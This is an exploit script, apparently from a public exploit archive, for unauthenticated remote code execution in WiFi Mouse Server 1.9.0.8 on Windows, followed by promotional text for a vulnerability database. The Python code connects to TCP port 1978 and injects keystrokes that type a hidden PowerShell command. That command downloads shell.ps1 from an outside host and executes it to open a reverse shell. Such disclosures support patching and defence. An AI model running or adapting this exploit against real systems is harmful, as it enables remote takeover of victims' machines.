# Exploit Title: Wifi Mouse version 1.9.0.8 - Remote Code Execution
# Date: 19/07/2025
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://wifimouse.necta.us/
# Software Link: https://wifimouse.necta.us/apk/MouseServer.exe
# Version: 1.9.0.8 (Windows)
# Tested on: Windows 10 / Windows 11
'''
Description:
WiFi Mouse Server 1.9.0.8 allows unauthenticated remote code execution by
simulating keyboard input over TCP port 1978. This exploit connects to the
server, simulates a keystrokes to delivery reverse shell.
'''
import socket
import time
class RemoteControlClient:
def __init__(self, ip="192.168.8.103", port=1978):
self.target_ip = ip
self.target_port = port
self.socket = None
self.output_stream = None
self.isystem = 0
def connect(self):
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.target_ip, self.target_port))
self.output_stream = self.socket.makefile('wb')
handshake = [b"reportCurrentApp\x0a", b"dontreportCurrentApp\x0a"]
for cmd in handshake:
self.socket.sendall(cmd)
time.sleep(0.08)
self.socket.recv(1024)
def _send_command(self, prefix, command):
length = len(command)
length_prefix = f"{prefix} {length}" if length < 10 else
f"{prefix} {length}"
message = (length_prefix + command).encode('utf-8')
self.output_stream.write(message)
self.output_stream.flush()
time.sleep(0.03)
def send_key(self, key_name, action="press"):
key_mapping =
{"ENTER":"RTN","BACKSPACE":"BAS","DEL":"BAS","WIN":"WIN","ALT":"ALT"}
key_name = key_mapping.get(key_name.upper(), key_name)
if action == "press":
self._send_command("key", f"[R] {key_name} d")
time.sleep(0.07)
self._send_command("key", f"[R] {key_name} u")
elif action == "down":
self._send_command("key", f"[R] {key_name} d")
elif action == "up":
self._send_command("key", f"[R] {key_name} u")
def send_key_code(self, key_code, action="press"):
if key_code == 66:
self.send_key("RTN", action)
elif key_code == 67:
self.send_key("BAS", action)
else:
self._send_command("key", f"[R] {key_code} {action[0]}")
def send_text(self, text):
for char in text:
if char == '\n':
self.send_key("ENTER")
elif char == '\b':
self.send_key("BACKSPACE")
else:
self.socket.sendall(f"utf8 {char}\x0a".encode('utf-8'))
time.sleep(0.09)
def execute_payload(self):
try:
self.connect()
time.sleep(0.9)
self.send_key("WIN")
time.sleep(0.9)
self.send_text("powershell -nop -w hidden -c \"iwr
http://192.168.8.102:8080/shell.ps1 -UseBasicParsing | iex\"")
time.sleep(1)
self.send_key_code(66)
time.sleep(1)
self.send_text("exit")
self.send_key_code(66)
except Exception:
pass
finally:
if self.socket:
self.socket.close()
if __name__ == "__main__":
rc = RemoteControlClient()
rc.execute_payload()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation